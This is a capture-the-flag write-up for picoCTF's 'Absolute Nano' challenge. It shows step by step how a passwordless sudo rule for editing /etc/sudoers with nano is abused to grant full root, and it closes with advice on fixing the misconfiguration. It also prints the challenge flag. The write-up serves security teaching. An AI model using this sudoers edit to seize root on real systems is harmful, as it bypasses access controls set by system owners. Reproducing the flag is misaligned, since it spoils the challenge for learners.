> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/general-skills/absolute-nano.md).

# ABSOLUTE NANO

**Category:** Privilege Escalation / Linux Permissions **Flag:** `picoCTF{n4n0_411_7h3_w4y_d74f446b}`

***

### Overview

This challenge involves a **sudoers misconfiguration** on a Linux system. The user `ctf-player` has been granted permission to edit `/etc/sudoers` using `nano` as root — which is essentially handing over the keys to the entire system.

***

### Step-by-Step Solution

#### Step 1 — SSH into the machine

```bash
ssh -p 60230 ctf-player@crystal-peak.picoctf.net
```

#### Step 2 — Check what's in the home directory

```bash
ls
# flag.txt
```

The flag is right there, but:

```bash
cat flag.txt
# cat: flag.txt: Permission denied
```

It's owned by root and we can't read it directly.

#### Step 3 — Try the obvious (fails)

```bash
chmod +x flag.txt
# chmod: changing permissions of 'flag.txt': Operation not permitted
```

We don't own the file, so `chmod` won't work.

#### Step 4 — Check sudo permissions

```bash
sudo -l
```

Output:

```
User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/nano /etc/sudoers
```

We can edit `/etc/sudoers` as root without a password — this is the vulnerability.

#### Step 5 — Edit sudoers to grant ourselves full root access

```bash
sudo /bin/nano /etc/sudoers
```

Scroll to the bottom and add:

```
ctf-player ALL=(ALL) NOPASSWD: ALL
```

Save with `Ctrl+X` → `Y` → `Enter`

#### Step 6 — Read the flag

```bash
sudo cat flag.txt
# picoCTF{n4n0_411_7h3_w4y_d74f446b}
```

***

### Summary Table

| Step         | Command                       | Result                    |
| ------------ | ----------------------------- | ------------------------- |
| List files   | `ls`                          | Found `flag.txt`          |
| Read flag    | `cat flag.txt`                | ❌ Permission denied       |
| Change perms | `chmod +x flag.txt`           | ❌ Not permitted           |
| Check sudo   | `sudo -l`                     | ✅ Can edit `/etc/sudoers` |
| Edit sudoers | `sudo /bin/nano /etc/sudoers` | ✅ Added full sudo rights  |
| Get flag     | `sudo cat flag.txt`           | ✅ Flag!                   |

***

### Key Takeaway

> Giving a low-privilege user the ability to edit `/etc/sudoers` is equivalent to giving them **full root access**. Once you can write to sudoers, you can grant yourself any permission you want — the security boundary is completely broken.

### Real-World Risk & Fix

| Issue                   | Fix                                                 |
| ----------------------- | --------------------------------------------------- |
| User can edit sudoers   | Never grant this permission                         |
| No password required    | Always require password for sensitive sudo commands |
| Overly broad sudo rules | Grant only the minimum necessary commands           |

**Flag:** `picoCTF{n4n0_411_7h3_w4y_d74f446b}` 🎉


---

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